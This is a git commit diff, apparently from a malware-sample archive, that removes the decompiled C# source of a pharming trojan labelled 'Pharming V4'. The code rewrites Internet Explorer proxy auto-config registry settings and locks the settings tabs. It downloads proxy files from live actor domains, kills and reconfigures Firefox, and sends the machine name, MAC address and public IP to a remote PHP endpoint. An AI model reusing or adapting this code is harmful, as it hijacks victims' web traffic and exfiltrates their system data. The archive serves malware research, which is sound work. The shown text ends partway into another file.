This commit is contained in:
vxunderground 2022-08-22 06:06:57 -05:00
parent 4121be2648
commit b077d1c807
1537 changed files with 0 additions and 160888 deletions

View File

@ -1,13 +0,0 @@
using System.Reflection;
using System.Runtime.InteropServices;
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Pharming V4")]
[assembly: AssemblyCopyright("Copyright © 2012")]
[assembly: AssemblyTitle("Pharming V4")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: Guid("775a76db-098b-4786-ae35-ed8d8c85047c")]
[assembly: ComVisible(false)]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyVersion("1.0.0.0")]

View File

@ -1,45 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Pharming_V4.Module1
// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using System;
namespace Pharming_V4
{
[StandardModule]
internal sealed class Module1
{
public static string osName = "UN";
[STAThread]
public static void Main()
{
pharmantiga.pharmantiga();
pharmnova.pharmnova();
so.so();
enviophp.enviophp();
criatxtinfect.criatxtinfect();
atproxy.atproxy();
}
public static object a(string b)
{
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\", true).SetValue("AutoConfigURL", (object) b);
Registry.CurrentUser.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("AdvancedTab", (object) 0);
Registry.CurrentUser.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("ResetWebSettings", (object) 0);
Registry.CurrentUser.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("AdvancedTab", (object) 0);
Registry.CurrentUser.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("ConnectionsTab", (object) 1);
Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("AdvancedTab", (object) 0);
Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("ResetWebSettings", (object) 0);
Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("Autoconfig", (object) 0);
Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("AdvancedTab", (object) 0);
Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("ConnectionsTab", (object) 1);
return (object) b;
}
}
}

View File

@ -1,18 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Pharming_V4.My.MyApplication
// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
using Microsoft.VisualBasic.ApplicationServices;
using System.CodeDom.Compiler;
using System.ComponentModel;
namespace Pharming_V4.My
{
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal class MyApplication : ConsoleApplicationBase
{
}
}

View File

@ -1,24 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Pharming_V4.My.MyComputer
// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
using Microsoft.VisualBasic.Devices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
namespace Pharming_V4.My
{
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal class MyComputer : Computer
{
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyComputer()
{
}
}
}

View File

@ -1,189 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Pharming_V4.My.MyProject
// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.Collections;
using System.ComponentModel;
using System.ComponentModel.Design;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Pharming_V4.My
{
[HideModuleName]
[GeneratedCode("MyTemplate", "8.0.0.0")]
[StandardModule]
internal sealed class MyProject
{
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
[HelpKeyword("My.Computer")]
internal static MyComputer Computer
{
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
}
[HelpKeyword("My.Application")]
internal static MyApplication Application
{
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
}
[HelpKeyword("My.User")]
internal static User User
{
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
}
[HelpKeyword("My.Forms")]
internal static MyProject.MyForms Forms
{
[DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
}
[HelpKeyword("My.WebServices")]
internal static MyProject.MyWebServices WebServices
{
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
}
[MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class MyForms
{
[ThreadStatic]
private static Hashtable m_FormBeingCreated;
[DebuggerHidden]
private static T Create__Instance__<T>(T Instance) where T : Form, new()
{
if ((object) Instance != null && !Instance.IsDisposed)
return Instance;
if (MyProject.MyForms.m_FormBeingCreated != null)
{
if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
}
else
MyProject.MyForms.m_FormBeingCreated = new Hashtable();
MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
try
{
return new T();
}
catch (TargetInvocationException ex) when (
{
// ISSUE: unable to correctly present filter
ProjectData.SetProjectError((Exception) ex);
if (ex.InnerException != null)
{
SuccessfulFiltering;
}
else
throw;
}
)
{
throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
}
finally
{
MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
}
}
[DebuggerHidden]
private void Dispose__Instance__<T>(ref T instance) where T : Form
{
instance.Dispose();
instance = default (T);
}
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public MyForms()
{
}
[EditorBrowsable(EditorBrowsableState.Never)]
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
[EditorBrowsable(EditorBrowsableState.Never)]
public override int GetHashCode() => base.GetHashCode();
[EditorBrowsable(EditorBrowsableState.Never)]
internal new System.Type GetType() => typeof (MyProject.MyForms);
[EditorBrowsable(EditorBrowsableState.Never)]
public override string ToString() => base.ToString();
}
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class MyWebServices
{
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override int GetHashCode() => base.GetHashCode();
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
internal new System.Type GetType() => typeof (MyProject.MyWebServices);
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override string ToString() => base.ToString();
[DebuggerHidden]
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
[DebuggerHidden]
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyWebServices()
{
}
}
[ComVisible(false)]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class ThreadSafeObjectProvider<T> where T : new()
{
internal T GetInstance
{
[DebuggerHidden] get
{
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
}
}
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public ThreadSafeObjectProvider()
{
}
}
}
}

View File

@ -1,23 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Pharming_V4.My.MySettings
// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Configuration;
using System.Runtime.CompilerServices;
namespace Pharming_V4.My
{
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")]
[EditorBrowsable(EditorBrowsableState.Advanced)]
[CompilerGenerated]
internal sealed class MySettings : ApplicationSettingsBase
{
private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
public static MySettings Default => MySettings.defaultInstance;
}
}

View File

@ -1,24 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Pharming_V4.My.MySettingsProperty
// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System.ComponentModel.Design;
using System.Diagnostics;
using System.Runtime.CompilerServices;
namespace Pharming_V4.My
{
[HideModuleName]
[DebuggerNonUserCode]
[StandardModule]
[CompilerGenerated]
internal sealed class MySettingsProperty
{
[HelpKeyword("My.Settings")]
internal static MySettings Settings => MySettings.Default;
}
}

View File

@ -1,46 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Pharming_V4.My.Resources.Resources
// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Globalization;
using System.Resources;
using System.Runtime.CompilerServices;
namespace Pharming_V4.My.Resources
{
[StandardModule]
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
[HideModuleName]
[DebuggerNonUserCode]
[CompilerGenerated]
internal sealed class Resources
{
private static ResourceManager resourceMan;
private static CultureInfo resourceCulture;
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static ResourceManager ResourceManager
{
get
{
if (object.ReferenceEquals((object) Pharming_V4.My.Resources.Resources.resourceMan, (object) null))
Pharming_V4.My.Resources.Resources.resourceMan = new ResourceManager("Pharming_V4.Resources", typeof (Pharming_V4.My.Resources.Resources).Assembly);
return Pharming_V4.My.Resources.Resources.resourceMan;
}
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static CultureInfo Culture
{
get => Pharming_V4.My.Resources.Resources.resourceCulture;
set => Pharming_V4.My.Resources.Resources.resourceCulture = value;
}
}
}

View File

@ -1,120 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>

View File

@ -1,60 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{FF8411B8-2348-449F-A302-CC96F034DF70}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>Pharming V4</AssemblyName>
<ApplicationVersion>1.0.0.0</ApplicationVersion>
<RootNamespace>Pharming_V4</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="atproxy.cs" />
<Compile Include="criatxtinfect.cs" />
<Compile Include="enviophp.cs" />
<Compile Include="firefox.cs" />
<Compile Include="Module1.cs" />
<Compile Include="pharmantiga.cs" />
<Compile Include="pharmnova.cs" />
<Compile Include="phpenvioinfect.cs" />
<Compile Include="smtpenvioinfect.cs" />
<Compile Include="so.cs" />
<Compile Include="My\MyApplication.cs" />
<Compile Include="My\MyComputer.cs" />
<Compile Include="My\MyProject.cs" />
<Compile Include="My\MySettings.cs" />
<Compile Include="My\MySettingsProperty.cs" />
<Compile Include="My\Resources\Resources.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="Resources.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>

View File

@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Pharming V4", "Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.csproj", "{FF8411B8-2348-449F-A302-CC96F034DF70}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{FF8411B8-2348-449F-A302-CC96F034DF70}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{FF8411B8-2348-449F-A302-CC96F034DF70}.Debug|Any CPU.Build.0 = Debug|Any CPU
{FF8411B8-2348-449F-A302-CC96F034DF70}.Release|Any CPU.ActiveCfg = Release|Any CPU
{FF8411B8-2348-449F-A302-CC96F034DF70}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -1,214 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Pharming_V4.atproxy
// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Threading;
namespace Pharming_V4
{
[StandardModule]
internal sealed class atproxy
{
public static string pac1;
public static string pac2;
public static string pac3;
public static string pac4;
public static string pac5;
public static string pacfinal;
public static void atproxy()
{
string tempPath = Path.GetTempPath();
Pharming_V4.atproxy.pac1 = "http://www.tudolinux.com/p.txt";
Pharming_V4.atproxy.pac2 = "http://www.tudolinux.com/p.txt";
Pharming_V4.atproxy.pac3 = "http://www.tudominerim.com/p.txt";
Pharming_V4.atproxy.pac4 = "http://www.tudominerim.com/p.txt";
Pharming_V4.atproxy.pac5 = "http://www.tudominerim.com/p.txt";
Random random = new Random();
while (true)
{
do
{
int num;
do
{
num = random.Next(1, 5);
if (num == 1)
{
try
{
new WebClient().DownloadFile(Pharming_V4.atproxy.pac1, tempPath + "\\config.jsp");
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
if (System.IO.File.Exists(tempPath + "\\config.jsp"))
{
StreamReader streamReader = new StreamReader(tempPath + "\\config.jsp");
string end = streamReader.ReadToEnd();
streamReader.Close();
if (end.Contains("PROXY \\x77\\x77\\x77\\x2e\\x74\\x75\\x64\\x6f\\x6c\\x69\\x6e\\x75\\x78\\x2e\\x63\\x6f\\x6d"))
{
Module1.a(Pharming_V4.atproxy.pac1);
Pharming_V4.atproxy.pacfinal = Pharming_V4.atproxy.pac1;
Process[] processesByName = Process.GetProcessesByName("firefox");
int index = 0;
while (index < processesByName.Length)
{
processesByName[index].Kill();
checked { ++index; }
}
firefox.firefox();
Thread.Sleep(1000000);
}
else
Console.WriteLine("Atualizado");
}
}
else if (num == 2)
{
try
{
new WebClient().DownloadFile(Pharming_V4.atproxy.pac2, tempPath + "\\config.jsp");
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
if (System.IO.File.Exists(tempPath + "\\config.jsp"))
{
StreamReader streamReader = new StreamReader(tempPath + "\\config.jsp");
string end = streamReader.ReadToEnd();
streamReader.Close();
if (end.Contains("PROXY \\x77\\x77\\x77\\x2e\\x74\\x75\\x64\\x6f\\x6c\\x69\\x6e\\x75\\x78\\x2e\\x63\\x6f\\x6d"))
{
Module1.a(Pharming_V4.atproxy.pac2);
Pharming_V4.atproxy.pacfinal = Pharming_V4.atproxy.pac2;
Process[] processesByName = Process.GetProcessesByName("firefox");
int index = 0;
while (index < processesByName.Length)
{
processesByName[index].Kill();
checked { ++index; }
}
firefox.firefox();
Thread.Sleep(1000000);
}
else
Console.WriteLine("Atualizado");
}
}
else if (num == 3)
{
try
{
new WebClient().DownloadFile(Pharming_V4.atproxy.pac3, tempPath + "\\config.jsp");
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
if (System.IO.File.Exists(tempPath + "\\config.jsp"))
{
StreamReader streamReader = new StreamReader(tempPath + "\\config.jsp");
string end = streamReader.ReadToEnd();
streamReader.Close();
if (end.Contains("PROXY \\x77\\x77\\x77\\x2e\\x74\\x75\\x64\\x6f\\x6c\\x69\\x6e\\x75\\x78\\x2e\\x63\\x6f\\x6d"))
{
Module1.a(Pharming_V4.atproxy.pac3);
Pharming_V4.atproxy.pacfinal = Pharming_V4.atproxy.pac3;
Process[] processesByName = Process.GetProcessesByName("firefox");
int index = 0;
while (index < processesByName.Length)
{
processesByName[index].Kill();
checked { ++index; }
}
firefox.firefox();
Thread.Sleep(1000000);
}
else
Console.WriteLine("Atualizado");
}
}
else if (num == 4)
{
try
{
new WebClient().DownloadFile(Pharming_V4.atproxy.pac4, tempPath + "\\config.jsp");
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
if (System.IO.File.Exists(tempPath + "\\config.jsp"))
{
StreamReader streamReader = new StreamReader(tempPath + "\\config.jsp");
string end = streamReader.ReadToEnd();
streamReader.Close();
if (end.Contains("PROXY \\x77\\x77\\x77\\x2e\\x74\\x75\\x64\\x6f\\x6c\\x69\\x6e\\x75\\x78\\x2e\\x63\\x6f\\x6d"))
{
Module1.a(Pharming_V4.atproxy.pac4);
Pharming_V4.atproxy.pacfinal = Pharming_V4.atproxy.pac4;
Process[] processesByName = Process.GetProcessesByName("firefox");
int index = 0;
while (index < processesByName.Length)
{
processesByName[index].Kill();
checked { ++index; }
}
firefox.firefox();
Thread.Sleep(1000000);
}
else
Console.WriteLine("Atualizado");
}
}
}
while (num != 5);
try
{
new WebClient().DownloadFile(Pharming_V4.atproxy.pac5, tempPath + "\\config.jsp");
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
}
while (!System.IO.File.Exists(tempPath + "\\config.jsp"));
StreamReader streamReader1 = new StreamReader(tempPath + "\\config.jsp");
string end1 = streamReader1.ReadToEnd();
streamReader1.Close();
if (end1.Contains("PROXY \\x77\\x77\\x77\\x2e\\x74\\x75\\x64\\x6f\\x6c\\x69\\x6e\\x75\\x78\\x2e\\x63\\x6f\\x6d"))
{
Module1.a(Pharming_V4.atproxy.pac5);
Pharming_V4.atproxy.pacfinal = Pharming_V4.atproxy.pac5;
Process[] processesByName = Process.GetProcessesByName("firefox");
int index = 0;
while (index < processesByName.Length)
{
processesByName[index].Kill();
checked { ++index; }
}
firefox.firefox();
Thread.Sleep(1000000);
}
else
Console.WriteLine("Atualizado");
}
}
}
}

View File

@ -1,35 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Pharming_V4.criatxtinfect
// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.IO;
namespace Pharming_V4
{
[StandardModule]
internal sealed class criatxtinfect
{
public static void criatxtinfect()
{
string path = Path.GetTempPath() + "\\checkinfect.txt";
try
{
if (File.Exists(path))
return;
using (File.Create(path))
;
using (StreamWriter streamWriter = new StreamWriter(path))
streamWriter.Write("infected");
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
}
}
}

View File

@ -1,32 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Pharming_V4.enviophp
// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.IO;
using System.Net;
using System.Net.NetworkInformation;
namespace Pharming_V4
{
[StandardModule]
internal sealed class enviophp
{
public static void enviophp()
{
if (System.IO.File.Exists(Path.GetTempPath() + "\\checkinfect.txt"))
{
Console.WriteLine("Ja infectado!");
}
else
{
string end = new StreamReader(((HttpWebResponse) ((HttpWebRequest) WebRequest.Create("http://automation.whatismyip.com/n09230945.asp")).GetResponse()).GetResponseStream()).ReadToEnd();
string str = NetworkInterface.GetAllNetworkInterfaces()[0].GetPhysicalAddress().ToString();
new WebClient().DownloadString("http://www.shaunsmyth.com/images/home/novo.php?nomepc=" + Environment.MachineName + "&osName=" + Module1.osName + "&netCard=" + str + "&ipp=" + end);
}
}
}
}

View File

@ -1,78 +0,0 @@
// Decompiled with JetBrains decompiler
